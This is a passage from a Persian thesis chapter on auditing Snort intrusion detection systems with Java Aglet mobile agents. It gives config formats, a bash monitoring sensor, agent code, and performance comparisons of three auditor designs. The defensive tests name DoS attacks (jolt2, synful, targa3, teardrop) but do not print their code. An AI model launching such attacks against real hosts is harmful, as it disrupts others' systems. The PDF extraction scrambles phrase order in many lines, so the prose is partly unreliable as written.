اين اطلاعات در يك . شود ها قرار داده مي و براي هر يك سنسورهايي به منظور دريافت اطلاعات و مشخصات آن سيستم

كنند  ها مراجعه مي ها به صورت مداوم و پريوديك به اين فايل در ادامه اين كار بازرس. شود  گرفته ميlogفايل مشخص 

آوري شده  ها دچار مشكل شده باشند و يا آنكه نتايج جمع تي كه اين فايلدر صور. دهند و آنها را مورد پردازش قرار مي

در روش مدل بازرس . دهد  آن را تشخيص داده و گزارش مي دهنده مشكلي در سيستم باشند، بازرس ها نشان در فايل

اطلاعات آن را براي خواند و  اي وجود دارد كه سر هر زمان مشخص فايل مربوطه را مي مركزي، بر روي هر سيستم برنامه

در روش بازرس محلي، بازرس موجود بر روي هر سيستم اطلاعات ذخيره شده را . كند سيستم بازرس مركزي ارسال مي

در سومين روش كه مورد توجه پروژه است از . كند دهد و تنها گزارش آن را براي مدير ارسال مي مورد بررسي قرار مي

در اين حالت عامل با توجه به پيكربندي مشخصي دارد به . شود طلاعات استفاده ميهاي متحرك براي پردازش اين ا عامل

  .برد كند و نتيجه آن را با خود مي زند و اطلاعات آن را پردازش مي هاي مورد نظر سر مي سيستم
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 پارامترها با اين. اي از موارد كه بايد مورد بررسي قرار گيرند، تعيين شوند براي انجام كار بازرس، لازم است پاره

  :توجه به تعريف ارائه شده عبارتند از

 ميزان تشخيص حملات انجام شده .۱

 نفوذ از منابع سيستم ميزان استفاده سيستم تشخيص .۲

 عملكرد در حالت بحراني .۳

با انجام . شود ها حملاتي انجام  به منظور محاسبه و تشخيص پارامتر اول، لازم است كه به صورت پريوديك به سيستم

در اين حالت . دهند نفوذ آن را در خروجي خود گزارش مي هاي تشخيص ار در صورت تشخيص حمله توسط سيستماين ك

تواند تشخيص دهد كه آيا حمله توسط سيستم تشخيص داده شده است و  نفوذ مي بازرس با بررسي خروجي سيستم تشخيص

نفوذ از منابع سيستم، سنسورهايي در هر ميزبان قرار  براي بررسي پارامتر دوم و يا ميزان استفاده سيستم تشخيص. يا خير

اين اطلاعات عبارتند شماره فرايند، شماره . كند نفوذ ذخيره مي داده شده است كه اطلاعاتي در مورد هر سيستم تشخيص

بندي  فايل پيكرchecksum فايل اجرايي فرايند، checksum، مقدار CPUفرايند پدر، ميزان مصرف حافظه، ميزان مصرف 

به اين ترتيب با بررسي اين اطلاعات در صورت وجود تغييري در سيستم . نفوذ و حالت اجرايي فرايند سيستم تشخيص

  :توان تغيير را تشخيص داد عبارتند از هايي كه از طريق آنها مي بعضي از نشانه. توان آن را تشخيص داد مي

 بالا رفتن ميزان مصرف حافظه •

 CPUبالا رفتن ميزان مصرف  •

 تغيير شماره فرايند سيستم و يا شماره فرايند پدر •

  فايل اجراييchecksumتغيير در  •

 نفوذ  فايل پيكربندي سيستم تشخيصchecksumتغيير در  •

 باشد به معني وجود مشكلي براي آن zombieبراي مثال اگر فرايند در حالت (بررسي حالت اجرايي فرايند  •

 ).است

در يك محيط واقعي بايد مورد بررسي قرار گيرد و به صورت خودكار به فعاليت و با توجه به آنكه سيستم بازرس 

گيري پارامتر سوم لازم است كه  براي اندازه. دهي مشغول باشد بررسي كردن پارامترر سوم كار درستي نيست گزارش

م اين كار در يك شبكه واقعي ها بار زيادي وارد شود كه انجا شبكه زير بار سنگين قرار داده شود و يا آنكه به ميزبان

 ايزوله و تنها براي انجام تست استفاده  توان شبكه را به صورت اما به منظور پوشاندن اين حالت مي. رسد صحيح به نظر نمي

  .كرد

اما براي كار بازرسي، بازرس با پردازشي كه بر روي . شود اين حالات مواردي هستند كه در كار تست انجام مي

. كنند دهد گزارشي را آماده و آنها را در يك فايل امن ذخيره مي آوري شده توسط سنسورها انجام مي اطلاعات جمع

  .باشد  مي۱-۶فرمت اين اطلاعات مشابه شكل 
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  سازي پياده -۶-۳-۲

. كنند و مستقل از بستر اجرايي قابليت اجرا دارند هايي هستند كه در سطح شبكه حركت مي هاي متحرك برنامه عامل

سازي شوند كه  اند لازم است به نوعي پياده هاي متحرك مورد استفاده قرار گرفته اينكه در پروژه ما نيز عاملبا توجه به 

شود كه قابليت ترجمه داشته باشند  هايي استفاده مي براي پوشاندن اين خصوصيت، از زبان. خصوصيت فوق را داشته باشند

هايي كه  يكي از بهترين زبان. از اين دسته هستند...  و Java ،Perl ،Pythonهايي مانند   زبان. و به صورت كامپايلي نباشند

سازي   با توجه به اين مطلب ما نيز براي پياده. باشد  ميJavaهاي مختلف بر روي آن كار شده است، زبان  از جنبه

سازي بازرس با استفاده از  در اين بخش تنها به پياده. ايم  استفاده كردهJavaنويسي  هاي بازرس از زبان برنامه سيستم

 استفاده شده است Agletسازي بازرس از بستر  براي پياده. شود كه هدف اصلي پروژه است هاي متحرك پرداخته مي عامل

  .كه در فصل سوم به صورت كامل به آن پرداخته شده است

ها  كننده بازرس وزيعسيستم بازرس مبتني بر عامل متحرك داراي دو بخش مختلف است كه يك بخش به عنوان ت

كننده  شود كه توزيع در اين كار از چندين فايل پيكربندي استفاده مي. كند باشد و بخش ديگر به عنوان بازرس عمل مي مي

نفوذ را بايد  هاي تشخيص ها چگونه بايد حركت كنند و كدام سيستم كنند كه بازرس ها با خواندن آنها تعيين مي بازرس

  :هاي پيكربندي مورد استفاده عبارتند از فايل. دمورد بررسي قرار دهن

 نفوذنفوذنفوذنفوذ    هاي تشخيصهاي تشخيصهاي تشخيصهاي تشخيص    فايل پيكربندي بازرسي سيستمفايل پيكربندي بازرسي سيستمفايل پيكربندي بازرسي سيستمفايل پيكربندي بازرسي سيستم •

  :فرمت اين فايل به ترتيب زير است
[BASE] 
192.168.0.2 
 
[AUDIT_NUM]  
3 
 
[IDS_INFO] 
1 192.168.0.1 snort e:\\info 
2 192.168.0.3 snort /var/log/info 
3 192.168.0.4 snort /var/log/info 
 
[DELAY] 
20000 

كنند تا بعد از  ها از اين آدرس استفاده مي بازرس. كند ها راتعيين مي كننده بازرس  آدرس محل توزيع[BASE]بخش 

  .اتمام كار خود به اين محل برگردند و گزارش كار خود را اعلام كنند

ن تعداد بازرس با توجه به اي. هايي است كه وجود دارند كننده تعداد بازرس  تعيين[AUDIT_NUM]بخش 

  .كنند شود در شبكه حركت مي  براي آنها تعيين مي[IDS_INFO]اي كه در بخش  پيكربندي

. هر سطر اين بخش داراي چهار پارامتر است. شود  چگونگي عمل هر بازرس تعيين مي[IDS_INFO]در بخش 

در پارامتر . گردد  كه بايد بازرسي شود تعيين ميپارامتر دوم آدرس محلي. كند پارامتر اول شماره بازرس را تعيين مي

  . چهارم آدرس محلي كه اطلاعات سنسورها ذخيره شده است مشخص شده است
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  . ثانيه است اين فاصله بر حسب ميلي. شود ها مشخص مي  فاصله زماني بين ارسال بازرس[DEALY]در بخش 

 عهده داشته باشد كافي است به صورت زير آن را در صورتيكه يك بازرس وظيفه بررسي بيش از يك سيستم را بر

  : مشخص كرد[IDS_INFO]در بخش 
[IDS_INFO] 
2 192.168.0.1 snort e:\\info 
2 192.168.0.3 snort /var/log/info 

هاي   بر روي دو ميزبان با آدرسsnortنفوذ  براي مثال در مثال فوق بازرس شماره دو وظيفه بازرسي سيستم تشخيص

 Linux است و ديگري يك سيستم Windows را بر عهده دارد كه ميزبان اول يك سيستم 192.168.0.3 و 192.168.0.1

  .است

 فايل پيكربندي بازرسي حملات انجام شدهفايل پيكربندي بازرسي حملات انجام شدهفايل پيكربندي بازرسي حملات انجام شدهفايل پيكربندي بازرسي حملات انجام شده •

باشد كه به  نفوذ مي هاي تشخيص ساختار اين فايل كاملاً مشابه ساختار فايل پيكربندي مربوط به بازرسي سيستم

 است كه در اين حالت به جاي مشخص كردن محل [IDS_INFO]وت اين دو در بخش تنها تفا. آن اشاره شد

به اين ترتيب . نفوذ مشخص شده است آوري شده توسط سنسورها، محل خروجي سيستم تشخيص اطلاعات جمع

  .تواند آن را مورد بررسي قرار دهد بازرس با تشخيص محل خروجي سيستم مي

 نفوذنفوذنفوذنفوذ    خيصخيصخيصخيصهاي تشهاي تشهاي تشهاي تش    فايل پيكربندي معرفي سيستمفايل پيكربندي معرفي سيستمفايل پيكربندي معرفي سيستمفايل پيكربندي معرفي سيستم •

نفوذ چه حملاتي انجام شده و سيستم  شود كه به هر سيستم تشخيص در اين فايل به بازرس معرفي مي

تواند  با استفاده از اين اطلاعات بازرس مي. كند اي را توليد مي نفوذ در مقابله با اين حمله چه خروجي تشخيص

  .هاي چه حملاتي بگردد دنبال نشانهنفوذ به  مشخص كند كه بعد از بررسي فايل خروجي سيستم تشخيص

  :باشد نفوذ اطلاعات ذخيره شده توسط سنسورها به صورت زير مي در حالت بازرسي سيستم تشخيص
snort 4944 4892 root 2.7 0.6 S 5c9f8e50aaaec17f32a58aca9d49fabb a5cbb285c40f8961091380a9f59f982f 

نفوذ، شماره  نفوذ، شماره فرايند سيستم تشخيص  از نام سيستم تشخيصاين اطلاعات به ترتيب از چپ به راست عبارتند

 فايل اجرايي checksum، حالت اجرايي فرايند، CPUفرايند پدر، نام مالك فرايند، ميزان مصرف حافظه، ميزان مصرف 

  . فايل پيكربندي فرايندchecksumفرايند و 

نفوذ را  ري شده است، سلامت فرايند سيستم تشخيصآو بازرس با بررسي اين اطلاعات كه توسط سنسورها جمع

 فايل اجرايي و يا checksumبراي مثال در صورتيكه شماره فرايند يا فرايند پدر تغيير كند و يا آنكه در . كند بررسي مي

يكربندي اندازي شده است و يا آنكه پ توان فهميد كه فرايند متوقف و مجدداً راه فايل پيكربندي تغييري صورت گيرد مي

 است به اين zombie برود كه نشانه حالت اجرايي Zهمچنين در صورتي كه حالت فرايند به حالت . آن تغيير كرده است

 از حد متعارف بيشتر شود به CPUمعني است كه براي فرايند مشكلي به وجود آمده است و اگر ميزان مصرف حافظه و 

  .  دارد و يا آنكه در عملكرد صحيح دچار مشكل شده استاين معني است كه فرايند زير بار سنگيني قرار

  :شود كه كد آن به صورت زير است آوري اين اطلاعات از سنسوري استفاده مي براي جمع
#! /bin/bash 
while true 
do  

echo `ps –o “comm pid ppid user %cpu %mem stat” –C snort | grep snort` `md5sum snort.conf | 
head –c 32` `md5sum snort | head –c 32` 

 sleep 1 
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done 

  .شود آوري مي  در اين سنسور هر يك ثانيه اطلاعاتي كه گفته شد را جمع

ها به سراغ  نفوذ انجام شده بازرس هاي تشخيص در حالت بازرسي حملات نيز بعد از تعيين نوع حملاتي كه به سيستم

نوع و . هايي از حمله صورت گرفته در آن را پيدا كنند دهند تا نشانه ار ميروند و خروجي آن را مورد بازرسي قر آنها مي

  .چگونگي انجام حملات در بخش انجام آزمايشات شرح داده خواهد شد

كننده  بخش توزيع. باشد گفته شد، سيستم بازرس داراي دو بخش اصلي مي) ۲-۳-۶(همانطور كه در ابتداي اين بخش 

  .شود در ادامه به شرح هر يك از اين دو بخش پرداخته مي. ها ها و بخش بازرس بازرس

سازد و اطلاعات لازم را در اختيار  هاي پيكربندي تعدادي بازرس مي كننده بعد از خواندن اطلاعات فايل بخش توزيع

  :ها به ترتيب زير است كننده و سازنده بازرس كد مربوط به توزيع. دهد آنها قرار مي

  : مشتق شده استAgletننده يك كلاس عامل متحرك است كه از كلاس ك كلاس مربوط به توزيع
public class AgletAudit extends Aglet { 

شود به ترتيب تابع   اجرا ميAglet آورده شده است، اولين تابعي كه از Agletهمانطور كه در بخش معرفي 

onCreation و run ۲۳-۳مطابق شكل ( آن شئ است .(  
public void run() { 
   this.init("d:\\conf.txt”); 
   this.createAudit(); 
} 

سپس تابع . شود هاي پيكربندي خوانده مي شود كه در آن فايل  فراخوانده ميinitدر اين تابع ابتدا تابعي به عنوان 

createAuditشود كه به صورت زير است  صدا زده مي: 

void createAudit() { 
   Object[][] o = new Object[this.auditNum][AgletAudit.MAX_OBJ]; 
   for (int i = 0; i < this.auditNum; i++) { 
     o[i][0] = new String(this.baseAddress); 
     o[i][1] = new Integer(this.auditInfo[i].getIdsNum()); 
    for (int j = 0; j < this.auditInfo[i].getIdsNum(); j++) 
     o[i][2 + j] = new String(this.auditInfo[i].getIdsInfo(j)); 
   } 
 
   while (true) { 
   for (int i = 0; i < this.auditNum; i++) 
          try { 
          AgletContext cxt = getAgletContext(); 
          AgletProxy proxy = cxt.createAglet(null, "audit.ProcessAudit", o[i]); 
       } catch(Exception e) { 
            System.out.println("can not create new agent ..."); 
            System.exit(1); 
      } 
      try { 
        Thread.sleep(this.delay); 
   } catch(Exception e) { 
    System.out.println("can not sleep ..."); 
      System.exit(1); 
   } 
 } 

} 
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 createAgletشود و سپس توسط دستور   ذخيره ميObjectدر اين تابع ابتدا اطلاعات پيكربندي در متغيرهايي از نوع 

هاي ساخته شده نيز اشيائي مشتق شده از كلاس  بازرس. شود شوند و اين اطلاعات به آنها داده مي ها ساخته مي بازرس

Agletباشد كد كلاس يك بازرس نمونه به صورت زير مي. باشند  مي:  
public class ProcessAudit extends Aglet { 

 ساخته شده است كه اولين تابع بعد از ساخته شدن يك عامل است كه فراخوانده onCreationدر اين كلاس تابع 

  :شود مي
public void onCreation(Object o) { 

         String str = new String(); 
   int index1 = 0, index2 = -1; 
   addMobilityListener(new MobilityAdapter() { 
      public void onArrival(MobilityEvent e) { 
         if (position == 1) { 
       checkProcessInfo(); 
       if (posCount < idsNum - 1) { 
          try { 
                  posCount++; 
                  dispatch(new URL(new String("atp://" + host[posCount]))); 
          } catch(Exception ex) { 
             System.out.println("can not dispatch ..."); 
             dispose(); 
          } 
            } else { 
    try { 
          position = 0; 
       dispatch(new URL(new String("atp://" + baseAddress))); 
    } catch(Exception ex) { 
       System.out.println("can not dispatch ..."); 
       dispose(); 
    } 
         } 
      } else { 
         System.out.println(resultMsg); 
      } 
   } 
}); 
if (this.position == 0) { 
   this.baseAddress = (String)((Object[])o)[0]; 
   Integer n = (Integer)((Object[])o)[1]; 
   this.idsNum = n.intValue(); 
   this.idsInfo = new String[this.idsNum]; 
   this.idsName = new String[this.idsNum]; 
   this.host = new String[this.idsNum]; 
   for (int i = 0; i < this.idsNum; i++) { 
      str = (String)((Object[])o)[2 + i]; 
      for (int j = 0; j < 3; j++) { 
         index1 = index2 + 1; 
         index2 = str.indexOf(' ', index1); 
         switch (j) { 

            case 0: 
               host[i] = str.substring(index1, index2); 
               break; 
               case 1: 
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                  idsName[i] = str.substring(index1, index2); 
                  break; 
               case 2: 
                  idsInfo[i] = str.substring(index1); 
                  break; 
            } 
         } 
      } 
      this.position = 1; 
      this.sortHost(); 
      try { 
         dispatch(new URL(new String("atp://" + this.host[0]))); 
      } catch(Exception e) { 
         System.out.println(e); 
         dispose(); 
      } 
   }  
} 

 استفاده شده است كه مشخص شود كه بازرس positionهمانطور كه در اين كد مشخص شده است از متغيري به نام 

ت  مقدار صفر داشته باشد به اين معني اسpositionدر صورتيكه . ها قرار دارد در مبداء واقع است و يا آنكه در ساير ميزبان

گيرد و بعد از آن بازرسي  ها مي كننده بازرس در اين حالت بازرس اطلاعات لازم را از بخش توزيع. كه در مبداء قرار دارد

رسد بايد شروع به فعاليت كند به اين معني  با توجه به آنكه اين بازرس هر بار كه به يك ميزبان مي. كند را شروع مي

اي براي رسيدن استفاده شده است  listenerبه همين منظور . دن حساس باشداست كه بايد در برابر انتقال داده ش

)onArrival .( در اينlistener مشخص شده است كه بعد از هر بار رسيدن به يك ميزبان بايد عمل checkProcessInfo 

ده است به ميزبان ديگر بعد از انجام اين كار مطابق با الگوي مسيري كه توسط براي مدير براي آن مشخص ش. انجام شود

ها  كد كامل اين بازرس. كند گردد و گزارش را اعلام مي در آخرين ميزبان بعد از انجام كار به سمت مبداء باز مي. رود مي

  .در ضميمه آورده شده است

امنيت اين . باشد ها مي سازي سيستم بازرس متحرك وجود دارد، مساله امنيت بازرس يكي از موارد مهمي كه در پياده

  .شود سازي و پشتيباني مي  پيادهaglet آورده شد، توسط خود سيستم agletهمانطور كه در توضيحات مربوط به 

  انجام آزمايشات -۶-۴
آزمايشات مربوط به بررسي و مقايسه سه . توان به دو دسته كلي تقسيم كرد آزمايشات انجام شده در اين پروژه را مي

و آزمايشات مربوط به حالات مختلف استفاده از بازرس مبتني بر ) متحركمحلي، متمركز و عامل (حالت بازرس 

  .هاي متحرك عامل

نفوذ زير بار گذاشته شود و سپس آزمايشات بر روي آنها انجام  در هر يك از دو دسته لازم است كه سيستم تشخيص

 كه شرح ساختار آن در بخش دو  انتخاب شده استsnortنفوذ مورد استفاده  براي انجام اين كار سيستم تشخيص. شود

اين سنسورها اطلاعات .  استفاده شده است۲-۳-۶براي بررسي اين سيستم از سنسورهايي كه در بخش . آورده شده است

علاوه بر اين با توجه به پيكربندي صورت گرفته . كند آوري و ذخيره مي  نفوذ را جمع مربوط به فرايند سيستم تشخيص



  ١٠١

حملاتي كه به صورت نمونه براي آزمايش انتخاب . شود يوديك حملاتي به سيستم انجام ميتوسط مدير به صورت پر

  . توان در ضميمه مشاهده كرد كد اين حملات را مي. teardrop4 و jolt21 ،synful2 ،targa33اند عبارتند از حملات  شده

  .ت انجام شده اسWindows و Linuxبايد يادآوري كرد كه آزمايشات در دو محيط 

  مقايسه سه حالت بازرس -۶-۴-۱

اند و از لحاظ  ها سه حالت بازرس در شرايط مختلف مورد بررسي قرار گرفته شده براي انجام اين بخش از آزمايش

براي انجام اين كار . اند ، بار شبكه و سرعت پاسخ با يكديگر مقايسه شدهCPUميزان مصرف حافظه، ميزان مصرف

ها در   ثانيه كه هر بازرس۱۲۰ و ۶۰، ۳۰، ۱۰، ۵ته شده است كه عبارتند از پريودهاي زماني مختلفي در نظر گرف

 ثانيه در دو حالتي كه سيستم از بار ۱۰علاوه بر اين در حالت فاصله زماني . شوند هاي زماني بيان شده ارسال مي فاصله

در زير نمودار . اند گيري شده اندازهاشباع شده باشد و زماني كه شبكه از بار اشباع شده باشد پارامترهاي مختلف مجدداً 

  .گيري شده نشان داده شده است هاي اندازه بعضي از حالت

شود بين پريودهاي مختلف زماني در هر كدام از  اي انجام مي قبل از آنكه به مقايسه سه حالت پرداخته شود مقايسه

  .ها و تاثيري كه بر عملكرد سيستم خواهند داشت سيستم

اي است با دو ميزبان و يك بازرس كه عمل  ها در آن انجام شده است، شبكه بخش از آزمايشاي كه اين  شبكه

  .دهد نفوذ را انجام مي بازرسي سيستم تشخيص

 خواهد ۱-۶، بار شبكه و زمان پاسخ مطابق جدول CPUدر سيستم بازرس به صورت محلي ميزان مصرف حافظه و 

  :بود

        زرس محليزرس محليزرس محليزرس محلي نتايج آزمايش براي حالت با نتايج آزمايش براي حالت با نتايج آزمايش براي حالت با نتايج آزمايش براي حالت با----۱۱۱۱----۶۶۶۶جدول جدول جدول جدول 

 بازرس حالت محليبازرس حالت محليبازرس حالت محليبازرس حالت محلي

  ثانيه ثانيه ثانيه ثانيه۱۲۰۱۲۰۱۲۰۱۲۰  ثانيه ثانيه ثانيه ثانيه۶۰۶۰۶۰۶۰  ثانيه ثانيه ثانيه ثانيه۳۰۳۰۳۰۳۰  ثانيه ثانيه ثانيه ثانيه۱۰۱۰۱۰۱۰         ثانيه ثانيه ثانيه ثانيه۵۵۵۵        پريود زمانيپريود زمانيپريود زمانيپريود زماني

 % 2.3 % 2.3 % 2.3 % 2.3 % 2.3 ميزان مصرف حافظهميزان مصرف حافظهميزان مصرف حافظهميزان مصرف حافظه

 % CPU ~ 0 % ~ 0 % ~ 0 % ~ 0 % ~ 0ميزان مصرف ميزان مصرف ميزان مصرف ميزان مصرف 

 bps 170 bps 49 bps 45 bps 40 bps 258        بار شبكهبار شبكهبار شبكهبار شبكه

 ms 10010 ms 30012 ms 60017 ms 120031 ms 5009        زمان پاسخزمان پاسخزمان پاسخزمان پاسخ

  

                                                        
  .شود مي% ۱۰۰اين حمله باعث بالا رفتن ميزان استفاده از پردازنده تا  1
  .دهد  به سمت سيستم مورد نظر آن را مورد حمله قرار ميsynهاي  اين حمله با ارسال پيغام 2
  .كنند  سيستم مورد نظر را با مشكل مواجه ميprotocol stackارند، هايي كه ساختار مناسبي ند اين حمله با فرستادن بسته 3
  .دهند  مشكل دارند، سيستم مورد نظر را مورد حمله قرار ميoffsetهايي كه از لحاظ  در اين حمله با فرستادن بسته 4
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شود، ميزان استفاده از پردازنده در بازرس محلي آنقدر كم است كه در حدود   مشاهده مي۱-۶همانطور كه در جدول 

اين ترافيك مربوط . هاي زماني فوق نشان داده شده است آوري شده در بازه  بار ترافيك جمع۲-۶در شكل . باشد صفر مي

  .شود، ميزان اين بار بسيار كم و ناچيز است همانطور كه در شكل ديده مي.  بازرس به مدير شبكهاست به ارسال نتايج كار

  
Period = 5 s    

 
Period =10 s    

  
Period =30 s    

  ترافيك شبكه براي حالت بازرس محلي ترافيك شبكه براي حالت بازرس محلي ترافيك شبكه براي حالت بازرس محلي ترافيك شبكه براي حالت بازرس محلي----۲۲۲۲----۶۶۶۶شكل شكل شكل شكل 
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Period =60 s    

 
Period =120 s    

  ترافيك شبكه براي حالت بازرس محلي ترافيك شبكه براي حالت بازرس محلي ترافيك شبكه براي حالت بازرس محلي ترافيك شبكه براي حالت بازرس محلي----۲۲۲۲----۶۶۶۶ادامه شكل ادامه شكل ادامه شكل ادامه شكل 

  :آورده شده است) client/server( نتايج كار براي حالت متمركز ۲-۶در جدول 

         نتايج آزمايش براي حالت بازرس متمركز نتايج آزمايش براي حالت بازرس متمركز نتايج آزمايش براي حالت بازرس متمركز نتايج آزمايش براي حالت بازرس متمركز----۲۲۲۲----۶۶۶۶جدول جدول جدول جدول 

 Client/Serverبازرس حالت بازرس حالت بازرس حالت بازرس حالت 

  ثانيه ثانيه ثانيه ثانيه۱۲۰۱۲۰۱۲۰۱۲۰  ثانيه ثانيه ثانيه ثانيه۶۰۶۰۶۰۶۰  ثانيه ثانيه ثانيه ثانيه۳۰۳۰۳۰۳۰ انيهانيهانيهانيه ث ث ث ث۱۰۱۰۱۰۱۰         ثانيه ثانيه ثانيه ثانيه۵۵۵۵        پريود زمانيپريود زمانيپريود زمانيپريود زماني

 % 2.3 % 2.3 % 2.3 % 2.3 % 2.3 ميزان مصرف حافظهميزان مصرف حافظهميزان مصرف حافظهميزان مصرف حافظه

 % CPU 0.4 % 0.3 % 0.1 % ~ 0 % ~ 0ميزان مصرف ميزان مصرف ميزان مصرف ميزان مصرف 

 kbps 7 kbps 2.4 kbps 1.3 kbps 0.7 kbps 13.5        بار شبكهبار شبكهبار شبكهبار شبكه

 ms 10164 ms 30184 ms 60168 ms 120222 ms 5202        زمان پاسخزمان پاسخزمان پاسخزمان پاسخ

 نشان داده شده است، ميزان مصرف پردازنده براي پريودهاي كمتر بالاتر از مواقعي است ۲-۶ همانطور كه در جدول

هاي زماني  اين مساله به اين دليل است كه بازرس كار خود را در پريودهاي كمتر با فاصله. شود كه پريود زماني زياد مي

همچنين ميزان مصرف پردازنده در مقايسه با . دهد و نتيجه اين كار بالا رفتن مصرف پردازنده است كمتري انجام مي

آوري شده را به صورت  اي اطلاعات جمع علت امر اين است كه در اين حالت بايد برنامه. حالت بازرس محلي بيشتر است
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يكي . يك ارتباط براي بازرس متمركز بفرستد، كه اين عمل ميزان پردازش بيشتري در مقايسه با عمل بازرس محلي دارد

منظور از زمان پاسخ، مدت زماني است كه بازرس . باشد ارامترهايي كه در جداول نشان داده شده است، زمان پاسخ مياز پ

 نشان داده شده است، ۲-۶همانطور كه در جدول . كند كند تا زماني كه خروجي لازم را توليد مي كار خود را آغاز مي

علت اين مساله اين است كه در بازرس . ازرس محلي بيشتر استزمان پاسخ بازرس متمركز در مقايسه با زمان پاسخ ب

آوري شوند و سپس آناليز شوند، در حاليكه در بازرس محلي اين  متمركز زماني لازم است تا اطلاعات در محلي جمع

در . توان ترافيك شبكه را در حالت بازرس به صورت متمركز مشاهده كرد  مي۳-۶در شكل . تاخير زماني وجود ندارد

نفوذ است كه براي بازرس  هاي تشخيص آوري شده سيستم اين حالت ترافيك عبوري بر روي شبكه، اطلاعات جمع

مشخص است كه اين ترافيك در مقايسه با ترافيك بازرس محلي كه تنها نتايج آزمايشات بود از . شود متمركز ارسال مي

  .حجم بيشتري برخوردار است

  
Period = 5 s    

  
Period = 10 s 

         ترافيك شبكه براي حالت بازرس متمركز ترافيك شبكه براي حالت بازرس متمركز ترافيك شبكه براي حالت بازرس متمركز ترافيك شبكه براي حالت بازرس متمركز----۳۳۳۳----۶۶۶۶شكل شكل شكل شكل 
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Period = 30 s    

 
Period = 60 s    

 
Period = 120 s    

         ترافيك شبكه براي حالت بازرس متمركز ترافيك شبكه براي حالت بازرس متمركز ترافيك شبكه براي حالت بازرس متمركز ترافيك شبكه براي حالت بازرس متمركز----۳۳۳۳----۶۶۶۶ادامه شكل ادامه شكل ادامه شكل ادامه شكل 
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.  نشان داده شده است با افزايش پريود زماني ميزان بار عبوري بر روي شبكه كم شده است۳-۶همانطور كه در شكل 

شوند  هاي زماني بيشتري بر روي شبكه ارسال مي علت امر اين است كه با افزايش پريود زماني، اطلاعات ارسالي با فاصله

  .كه نتيجه آن كاهش ميانگين بار ارسالي بر روي شبكه است

  .هاي متحرك را مشاهده كرد توان نتايج آزمايش انجام شده را براي حالت بازرس مبتني بر عامل  مي۳-۶در جدول 

        هاي متحركهاي متحركهاي متحركهاي متحرك     نتايج آزمايش براي حالت بازرس مبتني بر عامل نتايج آزمايش براي حالت بازرس مبتني بر عامل نتايج آزمايش براي حالت بازرس مبتني بر عامل نتايج آزمايش براي حالت بازرس مبتني بر عامل----۳۳۳۳----۶۶۶۶جدول جدول جدول جدول 

 هاي متحركهاي متحركهاي متحركهاي متحرك    بازرس مبتني بر عاملبازرس مبتني بر عاملبازرس مبتني بر عاملبازرس مبتني بر عامل

  ثانيه ثانيه ثانيه ثانيه۱۲۰۱۲۰۱۲۰۱۲۰  ثانيه ثانيه ثانيه ثانيه۶۰۶۰۶۰۶۰  ثانيه ثانيه ثانيه ثانيه۳۰۳۰۳۰۳۰  ثانيه ثانيه ثانيه ثانيه۱۰۱۰۱۰۱۰         ثانيه ثانيه ثانيه ثانيه۵۵۵۵        پريود زمانيپريود زمانيپريود زمانيپريود زماني

 % 5.7 % 5.7 % 5.7 % 5.8 % 8.2 ظهظهظهظهميزان مصرف حافميزان مصرف حافميزان مصرف حافميزان مصرف حاف

 % CPU 2.3 % 1.4 % 0.4 % 0.3 % 0.1ميزان مصرف ميزان مصرف ميزان مصرف ميزان مصرف 

 kbps 26 kbps 8.5 kbps 4.5 kbps 2.8 kbps 50        بار شبكهبار شبكهبار شبكهبار شبكه

 ms 10151 ms 30180 ms 60160 ms 120200 ms 11969        زمان پاسخزمان پاسخزمان پاسخزمان پاسخ

 و يك سيستم با Linux  عامل  سيستمبايد توجه داشت كه در اين آزمايش بستر مورد استفاده شامل يك سيستم با

شود، ميزان مصرف حافظه و ميزان مصرف   مشاهده مي۳-۶همانطور كه در جدول .  بوده استWindowsعامل  سيستم

علت . بيشتر است) بازرس محلي و بازرس متمركز(پردازنده براي بازرس متحرك در مقايسه با دو معماري ديگر بازرس 

 وظيفه دريافت agencyدهنده يا  اين سرويس. ها است دهنده عامل متحرك بر روي سيستم ويساين مساله قرار داشتن سر

ميزان سرعت پاسخ بازرس متحرك در مقايسه با بازرس محلي بيشتر است كه اين . هاي متحرك را بر عهده دارد عامل

البته اين زمان در . آوري كند معكند تا در شبكه حركت و اطلاعات را ج مساله به علت زماني است كه بازرس مصرف مي

 ميزان ترافيك شبكه براي بازرس مبتني بر ۴-۶شكل . باشد مقايسه با زمان پاسخ بازرس محلي داراي سرعت بيشتري مي

  .دهد هاي متحرك را نشان مي عامل

  
Period = 5 s 

 مبتني بر عامل متحركمبتني بر عامل متحركمبتني بر عامل متحركمبتني بر عامل متحرك ترافيك شبكه براي حالت بازرس  ترافيك شبكه براي حالت بازرس  ترافيك شبكه براي حالت بازرس  ترافيك شبكه براي حالت بازرس ----۴۴۴۴----۶۶۶۶شكل شكل شكل شكل 
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Period = 10 s 

 
Period = 30 s    

 
Period = 60 s 

 مبتني بر عامل متحركمبتني بر عامل متحركمبتني بر عامل متحركمبتني بر عامل متحرك ترافيك شبكه براي حالت بازرس  ترافيك شبكه براي حالت بازرس  ترافيك شبكه براي حالت بازرس  ترافيك شبكه براي حالت بازرس ----۴۴۴۴----۶۶۶۶شكل شكل شكل شكل ادامه ادامه ادامه ادامه 
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Period = 120 s    

 مل متحركمل متحركمل متحركمل متحركمبتني بر عامبتني بر عامبتني بر عامبتني بر عا ترافيك شبكه براي حالت بازرس  ترافيك شبكه براي حالت بازرس  ترافيك شبكه براي حالت بازرس  ترافيك شبكه براي حالت بازرس ----۴۴۴۴----۶۶۶۶شكل شكل شكل شكل ادامه ادامه ادامه ادامه 

آوري شده در بستر مورد آزمايش در مقايسه با دوحالت  دهد، ميزان ترافيك جمع  نشان مي۴-۶همانطور كه شكل 

اما بايد توجه داشت در صورتي كه وسعت شبكه بيشتر شود، ميزان افزايش . بازرس محلي و بازرس متمركز بيشتر است

در شرايط آزمايش علت افزايش حجم ترافيك شبكه در . د بودبار براي بازرس متمركز بيشتر از بازرس متحرك خواه

حجم اين كد به وسعت شبكه بستگي ندارد و در صورت افزايش . بازرس متحرك، وجود كد خود بازرس متحرك است

كند، اما در بازرس متمركز، ميزان ترافيك نسبت مستقيم با وسعت  وسعت شبكه، اين ترافيك تغيير قابل توجهي نمي

به همين دليل مشخص است كه با افزايش وسعت شبكه ميزان بار مربوط به بازرس متمركز از بازرس متحرك . اردشبكه د

  . شود بيشتر مي

هايي در حالتي كه سيستم زير بار زياد قرار داشته باشد و حالتي كه شبكه اشباع شده  تر آزمايش براي بررسي دقيق

 ثانيه ۱۰ها از فاصله زماني  براي انجام اين آزمايش. آوري گرديده است جمعها  باشد انجام شده است و زمان پاسخ سيستم

